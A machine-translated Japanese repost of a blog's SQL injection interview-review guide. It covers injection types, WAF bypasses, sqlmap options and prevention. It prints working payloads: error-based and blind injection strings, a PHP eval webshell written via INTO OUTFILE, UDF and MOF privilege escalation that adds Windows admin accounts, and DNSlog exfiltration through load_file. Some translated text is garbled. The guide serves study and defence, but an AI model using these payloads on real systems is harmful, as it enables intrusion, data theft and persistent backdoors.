SQL インジェクション関連の問題の概要

この記事は SQL 関連の問題をまとめたものです。このブログを読む前に、SQL インジェクション関連のコンテンツを学習していただくと、Web セキュリティ関連の原則やセキュリティ関連の就職面接の復習に使用できるよう、より深い理解が得られます。ピカチュウ、DVWA、sqllib などの脆弱性の原理と利用方法をすぐに理解できるように、読者はまず射撃場に行くことをお勧めします。

目次

1. SQLインジェクションとは

意味

原理

危害 

2. SQLインジェクションの分類 

3. エラーベースのインジェクション 

意味

状態

一般的なエラー報告機能

4.スタックインジェクション

5.盲注 

意味

分類

6. タイム ブラインド インジェクション中にスリープ キーワードとベンチマーク キーワードが除外された場合はどうすればよいですか?

7. ワイドバイトインジェクション

原理 

解決 

8. システム共通機能

9. httpヘッダー内のSQLインジェクションポイント

10. SQL インジェクションの脆弱性を検出する方法

11. mysql がシェルに書き込むための前提条件とコマンド

前提

関連コマンド 

12. SQL インジェクションによって WAF をバイパスする方法

13. スペースを置換する方法

14. 非選択クエリ ステートメントの使用方法 (挿入/更新およびその他の注入方法)

15. インジェクションポイントを発見しました。WebShell を入手するにはどのような方法がありますか?

16. SQLインジェクションの予防策

17. MYSQL Web サイトのインジェクションについて、5.0 より上のバージョンとそれより前のバージョンの違いは何ですか?

18. MYSQL パスワードにはどの暗号化方式が使用されますか?

19.SQLMapの共通パラメータ

20. SQLmapの共通クエリ文

21. 共通データベースポート

22.MySQL で権限を昇格する 2 つの方法

UDF 権限の昇格

MOF 権限昇格 

23.DNSブラインドインジェクション関連

DNSlogの原理

DNSlogツール

DNSlogインジェクションを使用する場合 

DNSlog ブラインド インジェクションを使用するための条件

DNSlog ブラインド インジェクションの仕組み

エピローグ 


1. SQLインジェクションとは

意味

プログラマーがユーザーが入力したデータの合法性を判断して処理しなかったため、クライアントは悪意のある入力をサーバーに送信し、サーバーが不正な SQL ステートメントを生成し、それによってデザイナーの意図に従わずに Web サイトのデータベースを不正に読み取る可能性があります。 . SQL ステートメントを実行します。

原理

 Web サイトのバックエンドは、フロントエンドから受信するデータを適切にフィルタリングしないため、攻撃者が不正な入力を構築できるようになり、それによって元のクエリ ステートメントのセマンティクスが変更され、最終的には不正な命令が実行され、不正なパラメータを渡したり、追加の条件が追加されたりすることがあります。 。

危害 

主に以下の点が挙げられます。

ログイン検証のバイパス: 攻撃者はマスター パスワードを使用して、Web サイトのバックグラウンドに直接ログインする可能性があります。

機密情報の漏洩: 攻撃者はデータベースを閲覧し、管理者アカウントのパスワードなどの機密情報を取得する可能性があります。

Web サイトに埋め込まれたトロイの木馬: サーバーは Web シェルにアップロードされて、リモートでコマンドを実行し、バックドアを作成する可能性があります。

データベースが改ざんされました。攻撃者は管理者アカウントを追加したり、データを追加または削除したりする可能性があります。

2. SQLインジェクションの分類 

インジェクションパラメータによる分類:デジタルインジェクション、キャラクターインジェクション、サーチインジェクション。

インジェクション手法による分類:エラーベース、ブールベースのブラインドインジェクション、時間ベースのブラインドインジェクション、ジョイントクエリ、スタックインジェクション、インラインクエリインジェクション、ワイドバイトインジェクションなど。

インジェクションポイントの位置による分類:GETインジェクション、POSTインジェクション、Cookieインジェクション、httpヘッダーインジェクションなど。

データベースから分類: mysql インジェクション、mssql インジェクション、oracle インジェクションなど。

3. エラーベースのインジェクション 

意味

攻撃者は間違った SQL 構文でペイロードを構築します。インジェクション後、ステートメントは間違っていますが、ペイロード内の悪意のあるクエリ ステートメントがデータベースによって実行され、最終実行後の情報がエラーを通じてフロント エンドにエコーされます。プロンプト。

状態

1. 背景はデータベースのエラー メッセージをブロックしません。

2. 構文エラーをフロントエンドでエコーさせます。

一般的なエラー報告機能

updatexml(XML_document, XPath_string, new_value)

最初のパラメータ XML_document は文字列形式であり、XML ドキュメント オブジェクトの名前です。

2 番目のパラメータ XPath_string は XPath 形式の文字列です。

3 番目のパラメータ new_value は文字列形式で、見つかった修飾データを置き換えます。

例:id=1 and (select updatexml(0x3a,concat(1,(select user())),1))

実行結果: [Err] 1105 - XPATH 構文エラー: 'root@localhost'

extractvalue(XML_document, XPath_string)

最初のパラメータ XML_document は文字列形式であり、XML ドキュメント オブジェクトの名前です。

2 番目のパラメータ XPath_string は XPath 形式の文字列です。

例:id=1 and (select extractvalue(0x3a, concat(0x5c,(select user()))))

実行結果: [Err] 1105 - XPATH 構文エラー: '\root@localhost'

Floor()関数は、MYSQL で丸め処理に使用される関数です。

rand() 関数はクエリ時に 1 回実行され、挿入時に 1 回実行されるため、エラーが報告されます。

group by x は、最初にグループ化用の空のテーブルを作成します。** 次に、グループ クエリを実行します。最初に rand() が実行されると、空のテーブルであるためクエリの結果は 0 になります。これを挿入し、rand( を挿入するときに) 再度実行してください。

例:id=1 and ((select count(*),concat((select user()),

フロア(rand(0)*2))x from information_schema.tables グループ by x)a)
実行結果: [Err] 1062 - キー 'group_key' のエントリ 'root@localhost1' が重複しています

exp() は自然対数の累乗を返します。

内部のパラメータが709より大きい場合、オーバーフローエラーが発生します

例:id=1 and (select exp(~(select * from(select user())a)))

実行結果: [Err] 1690 - DOUBLE 値が 'exp(~((select 'root@localhost') の範囲外です

デュアルから)))'

4.スタックインジェクション

定義: SQL ステートメントではステートメントがセミコロン; で終了しており、セミコロン; の後に SQL ステートメントを追加すると、2 つのステートメントが同時に実行され、スタック インジェクションが発生する可能性があります。

5.盲注 

意味

SQL インジェクション攻撃では、サーバーはエラー エコーをオフにし、攻撃者はサーバーから返される内容の変化によってインジェクションが成功したかどうかを単純に判断します。通常、注射は工具を使用して行われます(手動での注射は時間と労力がかかります)。

分類

ブールベースのブラインドインジェクション: 返されたページのコンテンツが正しいかどうか。

時間ベースのブラインド注入: ページによって返される時間。通常は遅延関数 sleep (秒) またはベンチマーク (実行時間、式) を使用して、注入が成功した場合のエコー時間を延長します。

例:if(ascii(substring((管理者制限 0, 1),1,1))=64,sleep(3),null)

クエリ結果の最初の桁の ASCII コード値が 64 の場合は sleep(3)、それ以外の場合は何も実行しません。

6. タイム ブラインド インジェクション中にスリープ キーワードとベンチマーク キーワードが除外された場合はどうすればよいですか?

(1) 2 つの非常に大きなデータ テーブルでデカルト積を実行すると、大量の計算が生成され、時間遅延が発生します。

(2) サーバーが長い接続を使用する場合は、Mysql のロック メカニズム、つまり Get_lock() を使用できます。

(3) 複雑な正規表現を使用して超長い文字列を照合し、時間遅延を生成します。

7. ワイドバイトインジェクション

原理 

データベースではワイド文字セットが使用されますが、この問題は WEB では考慮されていません

WEB 層では、0XBF27 は 2 文字なので、PHP で addslash と magic_quotes_gpc を有効にすると、0x27 の一重引用符がエスケープされるため、0xbf27 は 0xbf5c27 になり、データがデータベースに入力されると、0bf5c が追加されるため、 \ エスケープ記号は前の bf によって「食べられ」、そこからエスケープされた一重引用符をステートメントを閉じるために使用できます。

根本原因: character_set_client (クライアントの文字セット) とcharacter_set_connection (接続層の文字セット) が異なるか、iconv や mb_convert_encoding などの変換関数が不適切に使用されています。 

解決 

解析時の差異を避けるために、データベース、Web アプリケーション、およびオペレーティング システムで使用される文字セットを統一し、UTF-8 に設定することをお勧めします。または、mysql_real_escape_string+mysql_set_charset を使用してデータを正しくエスケープします。

8. システム共通機能

version(): MYSQL バージョン

user(): データベースのユーザー名

Database(): データベース名

@@datadir: データベース パス

@@version_compile_os: OS バージョン

@@basedir: データベースのインストール パス

9. httpヘッダー内のSQLインジェクションポイント

ユーザーエージェント

参照者

クッキー

IP

10. SQL インジェクションの脆弱性を検出する方法

手動: 特定の URL を手動でテストし、特殊文字 ' ” ') ”)) などを挿入して判断します。

自動: 射出用ツールを使用します

11. mysql がシェルに書き込むための前提条件とコマンド

前提

前提条件: 現在のデータベース ユーザー (current_user) は、ファイルへの書き込み権限または root 権限を持ち、Web サイトの絶対パスを知っています。

関連コマンド 

        into oufile はテキスト ファイルに適した複数行を書き込みます

        dumpfile にバイナリ ファイルに適した 1 行を書き込みます

例:

id=1 union select '<?php @eval($_POST[\'c\']);?>', user from admin into outfile 'd:\\demo\\m.php'

id=1 union select '<?php @eval($_POST[\'c\']);?>', user from admin into dumpfile 'd:\\demo\\m.php'

12. SQL インジェクションによって WAF をバイパスする方法

(1) waf フィンガープリントを見つけて、対応する waf バイパス方法を検索します。

(2) ホワイトボックスバイパス: コード監査。

(3) ブラックボックスバイパス

ブラックボックスバイパス: 次のように

アーキテクチャ レベル: WAF 検出をバイパスするソース Web サイトを見つけます。つまり、ソース Web サイトの実際のアドレスを見つけます。または、同じネットワーク セグメントを介して WAF 保護をバイパスします。同じネットワーク セグメント内では、通過する可能性のあるデータがクラウド WAF を通過しないようにして、バイパスを実現します。

リソース制限レベル:超大容量データパケットの構築が検出できないため、WAFをバイパスする場合があります(例:Webサイトによっては、取得データに対してWAF検出を行う場合があります。取得データが小さいため、ポストデータはWAFで検出されません)。WAFをバイパスします。

プロトコルレベル:業務によってはget型のみ検出され、postデータが無視される場合があります。または、パラメータ汚染があり、URL のindex?id=1&id=2 に対して、id=1 のみが検出される場合があります。

ルールレベル:SQLコメントバイパス/ブランクバイパス/関数区切りバイパス/浮動小数点数バイパス/エラー挿入の使用/大文字小文字のバイパス/二重書き込みバイパス

13. スペースを置換する方法

%0a 、 %0b 、 %a0 など

/**/およびその他のコメント

<>

14. 非選択クエリ ステートメントの使用方法 (挿入/更新およびその他の注入方法)

実際には、本質的な違いはなく、構造は依然として閉じられており、共同クエリとエラーベースの方法を使用できます。、いくつかの例を示します。

元の通常の SQL ステートメント (バックエンドの元のステートメント)

update user set password='MD5($password)', homepage='$homepage' where id='$id';

インジェクションは次の 3 つの方法で実装できます。

方法 1: ホームページの値をhttp://baidu.net', userlevel='3に変更すると、SQL ステートメントは次のようになります。

update user set password='mypass', homepage='http://baidu.net', userlevel='3' where id='$id';

方法 2: パスワード値をmypass)' WHERE username='admin'#に変更するSQL ステートメントは次のようになります。

update user set password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' where id='$id';

方法 3: ID 値を'OR username='adminに変更すると、SQL ステートメントは次のようになります。

update user set password='MD5($password)', homepage='$homepage' where id='' OR username='admin';

15. インジェクションポイントを発見しました。WebShell を入手するにはどのような方法がありますか?

(1) 書き込み権限がある場合は、using into outfile を使用して共同クエリ ステートメントを構築します。クエリの出力をシステム内のファイルにリダイレクトして、Web シェルに書き込むことができます。

(2) sqlmap –os-shell を使用する原理は上記と同じで、シェルを直接取得するため、より効率的です。

(3) 共同クエリ文を作成して Web サイト管理者のアカウントとパスワードを取得し、バックグラウンドをスキャンしてバックグラウンドにログインし、パッケージのアップロードなどの方法を変更してバックグラウンドでシェルをアップロードします。

16. SQLインジェクションの予防策

(1) 一般ユーザーと管理者を厳密に区別する: 最小特権の原則を採用し、Web アプリケーションには低い特権のアカウントを使用し、root アカウントであっても高い特権のアカウントを使用します。エンド ユーザー、つまりソフトウェアの通常のユーザーの場合、データベース オブジェクトの作成と削除 (テーブルの作成/テーブルの削除など) の権限を与える必要はありません。

(2) ユーザー入力を厳密にフィルタリングする: ユーザーが入力した内容をテストし、必要な値のみを受け入れ、バイナリ データ、エスケープ シーケンス、コメント文字を含む入力内容を拒否し、union や select などの SQL キーワードを含む内容を厳密にレビューします。ユーザー入力のサイズとデータ型をテストし、適切な制限と変換を適用します。Web言語やデータベースベンダーが提供する「安全な関数」を利用してユーザー入力を処理します。

(3) プリコンパイルされたステートメントの使用: プリコンパイルされたステートメントとバインド変数を使用することが、SQL インジェクションを防ぐ最良の方法です。セマンティクスが変更されず、データが命令 (パラメータ化されたクエリ) にならないようにします。

(4) 攻撃特性に基づくフィルタリングと照合: SQL インジェクションの攻撃特性をデータベースとして収集し、それらの特性が一致した場合に SQL インジェクションを検出したと判断します。ネットワークレベルでの保護、WAFの導入など。

17. MYSQL Web サイトのインジェクションについて、5.0 より上のバージョンとそれより前のバージョンの違いは何ですか?

違い: information_schema システム テーブルは 5.0 以降に存在し、テーブル名、カラム名などはこのテーブルに基づいて検索できます。5.0 以降はマルチユーザー操作です。5.0未満ではinformation_schemaが存在せず、テーブル名のみが暴行される可能性があります。5.0 以下はシングルユーザー操作です。

information_schemaに従ってデータベース/テーブル/列/フィールドを確認するにはどうすればよいですか? 

ライブラリを確認してください:

select schema_name from information_schema.schema;

チェックテーブル:

select table_name from information_schema.tables where table_schema='security';

チャーリー:

select column_name from information_schema.columns where table_name='users';show tables;

チェックフィールド:

select id,username,password from security.users;

18. MYSQL パスワードにはどの暗号化方式が使用されますか?

答え: SHA1 セキュア ハッシュ アルゴリズム

19.SQLMapの共通パラメータ

-d はターゲット データベースに直接接続します (SQL インジェクションを使用しません)。

-p は注入ポイントを指定します

-u                               指定url

-m は txt ファイル、バッチ スキャンを指定します

-r POSTパケットインジェクション

-x サイト マップ、xml ファイルを SQL に送信します。

-c ファイルで使用されるコマンドを書き込み、sqlmap にファイル内のコマンドを実行させます。--save コマンドを使用して構成をファイルに書き込むことができます。

--sql-shell SQL コマンドを実行します。

--OS-cmd システムコマンドを実行します。

--OS-shell                 システム シェルと対話します。

-r 外部リクエストパッケージをロードします

--data=DATA POST 経由でデータ文字列を送信

--proxy=PROXY HTTP プロキシを使用してターゲット URL にリンクします

--tamper=TAMPER 指定されたスクリプトを使用して挿入されたデータを改ざんします

--current-user 現在のユーザー名を取得します

--current-db 現在のデータベース名を取得します

--cookie クッキーの値を設定します

--dbs すべてのデータベースをリストします。

--tables データベース内のテーブルをリストします。

–level=LEVEL テストのレベルを実行します (1 ~ 5、デフォルトは 1)。 –level パラメータを使用し、値が >=2 の場合、Cookie 内のパラメータもチェックされます。>=3 の場合、ユーザーエージェントとリファラーがチェックされます。

-risk=RISK テスト実行のリスク (0 ~ 3、デフォルトは 1)、デフォルトは 1 でほとんどのテスト ステートメントがテストされ、2 ではイベントに基づいてテスト ステートメントが増加し、3 では SQL インジェクションが増加します。 OR ステートメントのテスト。

-v VERBOSE 情報レベル: 0 ~ 6 (デフォルト 1)、値の具体的な意味: 「0」は Python エラーと重大な情報のみを表示します。1 は基本情報と警告情報を同時に表示します (デフォルト)。「2」デバッグ情報を同時に表示します。「3」は挿入されたペイロードも表示します。「4」は HTTP リクエストを同時に表示します。「5」は HTTP 応答ヘッダーを同時に表示します。「6」は HTTP 応答ページを表示します。同時に; sqlmap によって送信されるテスト ペイロードの最適なレベルを確認したい場合は、3 です。

20. SQLmapの共通クエリ文

単一リンクインジェクション sqlmap.py -u url

バッチインジェクション sqlmap.py -m oldboy.txt

ポストインジェクション sqlmap.py -r burpsuite キャプチャ package.txt

注入するパラメータを指定する sqlmap.py -r post.txt -p inject パラメータ

フォームインジェクションを指定 sqlmap.py -u URL –data "username=a&password=a"

Cookie インジェクション sqlmap.py -u url --cookie "id=xx" --level 3 --tables (テーブル名を推測)

ネット ユーザー コマンド sqlmap.py -u "url" --os-cmd="ネット ユーザー" を実行します。

21. 共通データベースポート

関連した

MySQL 3306

オラクル 1521

SQLサーバー 1433

DB2 5000

ポストグレSQL 5432

 非関係的な

レディス 6379

Memcached 11211

モンゴDB 27017

22.MySQL で権限を昇格する 2 つの方法

この質問がよくわからず、ネットで調べてここに投稿しましたが、後でわかったら書き直します。

UDF 権限の昇格

必須:

1. ターゲット システムは Windows (Win2000、XP、Win2003) です。

2. MYSQL のユーザー アカウントを所有します。このアカウントには、関数を作成および破棄するための mysql への挿入および削除権限が必要です。

3. root アカウントのパスワードを持っている。

方法

UDF をエクスポート:

MYSQL 5.1 以降のバージョンの場合、カスタム関数を作成するには、MYSQL インストール ディレクトリの下の lib\plugin フォルダに udf.dll ファイルを配置する必要があります。

mysqlに入力できる

@@basedir を選択します

mysql のインストール パスを見つけるには、「%plugins%」のような変数を表示します

権利のエスカレーション:

SQL ステートメントを使用して関数関数を作成します。

構文: Create Function 関数名 (関数名は次のリストのいずれか 1 つだけです) は文字列 soname 'エクスポートされた DLL パス' を返します。

create function cmdshell は文字列 soname 'udf.dll' を返します

select cmdshell('net user arsch arsch /add');

select cmdshell('net localgroupAdministrators arsch /add');

ドロップ関数 cmdshell;

このディレクトリはデフォルトでは存在しないため、WebShell を使用して MySQL インストール ディレクトリを見つけ、インストール ディレクトリの下に lib\plugin フォルダを作成して、udf.dll ファイルをこのディレクトリにエクスポートする必要があります。

MOF 権限昇格 

step1: スクリプトの準備

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

ステップ2:

load_file と dumpfile を実行して、ファイルを正しい場所にエクスポートします。

select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov';

実行が成功した後、通常のユーザーを追加し、コマンドを変更して、実行結果をアップロードおよびエクスポートしてユーザーを管理者権限にアップグレードすると、3389 接続は正常になります。

23.DNSブラインドインジェクション関連

DNSlogの原理

サブクエリを通じてコン​​テンツをドメイン名に結合し、load_file() で共有ファイルにアクセスさせます。アクセスされたドメイン名は記録され、この時点でエラー インジェクションとなり、ブラインド インジェクションはエラー インジェクションに変更され、リモート共有ファイルを読み込む機能で、クエリを作成し、ドメイン名に結合し、アクセス時にサーバーにアクセスし、記録後にログを表示します。

DNSlogツール

  1. 独自のサーバーとドメイン名をお持ちの場合は、独自の DNSlog プラットフォームを構築してください。Github にはオープンソースのプラットフォームがあります。
  2. オンライン プラットフォーム: http://ceye.io   DNSLog プラットフォーム

DNSlogインジェクションを使用する場合 

ターゲット情報をエコーできません。リクエストを送信できる場合は、DNSlog を使用してエコーを取得してみてください。

例: SQL ブラインド インジェクションを使用してサイトを調査しましたが、sqlmap を使用して実行するには頻繁なリクエストが必要で、最終的に IP が禁止されました。

疑わしいコマンド インジェクション ホールが見つかったものの、ターゲット サイトに何も表示されない場合、ホールがあるかどうかを確認できない場合は、dnslog ブラインド インジェクションを試すことができます。次の一般的なものでは、DNSlog インジェクションが試行される可能性があります。

(1) SQLインジェクションにおけるブラインドインジェクション

(2) XSSブラインドタイピング

(3) エコーを伴わないコマンド実行

(4) エコーなしの SSRF

(5) エコーなしの XXE (ブラインド XXE)

DNSlog ブラインド インジェクションを使用するための条件

mysql.ini の secure_file_priv が空です。

secure_file_priv が null であるため、インポートとエクスポートは許可されません

secure_file_priv は /tmp であり、インポートとエクスポートは tmp ディレクトリ内でのみ可能です

secure_file_priv が空の場合、インポートとエクスポートは制限されません。

DNSlogブラインド インジェクションの仕組み

現在のデータベースをクエリします。

?id=1'andload_file(concat('\\\\',(selectdatabase()),'.ドメイン名'))--+

これに対応して、select database() ステートメントを置き換えることで、DNS 外部帯域のエコー挿入を実現できます。

?id=1'and (selectload_file(concat('\\\\',(selectdatabase()),'.ドメイン名')))#

エピローグ 

SQL インジェクションの脆弱性に関する質問はこれで終わります。この記事の多くの質問に対する回答もインターネットから得たものなので、要約してまとめました。時間が限られていますので、ご質問がございましたら、読者の皆様、コメント欄でご議論ください。

おすすめ

転載: blog.csdn.net/Bossfrank/article/details/130297924